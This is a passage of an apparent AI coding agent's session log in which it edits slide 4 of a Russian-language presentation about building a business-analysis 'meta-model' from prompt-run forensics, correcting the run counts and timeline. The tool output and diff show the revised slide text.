\"613dbe02-e387-49f0-a5f9-8b5a002fc4e9\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:16.625Z\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"request_id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"toolu_01JzFPFhoer4FFJrrnaFekEH\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=\\\"\\\"\\\"- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nb=\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nassert s.count(a)==1; s=s.replace(a,b); open(p,'w').write(s)\\nEOF\\nsed -n 180,215p 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:16.633Z] [INFO]       \"description\": \"Fix slide 4 timeline accuracy\"\n[2026-09-29T07:51:16.633Z] [INFO]     }\n[2026-09-29T07:51:16.633Z] [INFO]   },\n[2026-09-29T07:51:16.633Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"toolu_01JzFPFhoer4FFJrrnaFekEH\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:51:16.633Z] [INFO]     }\n[2026-09-29T07:51:16.633Z] [INFO]   }\n[2026-09-29T07:51:16.633Z] [INFO] }\n[2026-09-29T07:51:18.589Z] [INFO] {\n[2026-09-29T07:51:18.589Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"message\": {\n[2026-09-29T07:51:18.589Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"content\": [\n[2026-09-29T07:51:18.589Z] [INFO]       {\n[2026-09-29T07:51:18.589Z] [INFO]         \"tool_use_id\": \"toolu_01JzFPFhoer4FFJrrnaFekEH\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"content\": \"[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:18.589Z] [INFO]       }\n[2026-09-29T07:51:18.589Z] [INFO]     ]\n[2026-09-29T07:51:18.589Z] [INFO]   },\n[2026-09-29T07:51:18.589Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:18.589Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"uuid\": \"c48810b9-e85b-4f36-bdbc-969536cbec05\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:18.583Z\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:18.589Z] [INFO]     \"stdout\": \"[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:18.589Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:18.589Z] [INFO]       \"files\": [\n[2026-09-29T07:51:18.589Z] [INFO]         {\n[2026-09-29T07:51:18.589Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:18.589Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:18.589Z] [INFO]             {\n[2026-09-29T07:51:18.589Z] [INFO]               \"oldStart\": 190,\n[2026-09-29T07:51:18.589Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:18.589Z] [INFO]               \"newStart\": 190,\n[2026-09-29T07:51:18.589Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:18.589Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:18.589Z] [INFO]                 \" - **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"-- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"+  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \" - **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:18.589Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\"\n[2026-09-29T07:51:18.589Z] [INFO]               ]\n[2026-09-29T07:51:18.589Z] [INFO]             }\n[2026-09-29T07:51:18.589Z] [INFO]           ]\n[2026-09-29T07:51:18.589Z] [INFO]         }\n[2026-09-29T07:51:18.589Z] [INFO]       ],\n[2026-09-29T07:51:18.589Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:18.589Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:18.589Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:18.589Z] [INFO]       ]\n[2026-09-29T07:51:18.589Z] [INFO]     }\n[2026-09-29T07:51:18.589Z] [INFO]   }\n[2026-09-29T07:51:18.589Z] [INFO] 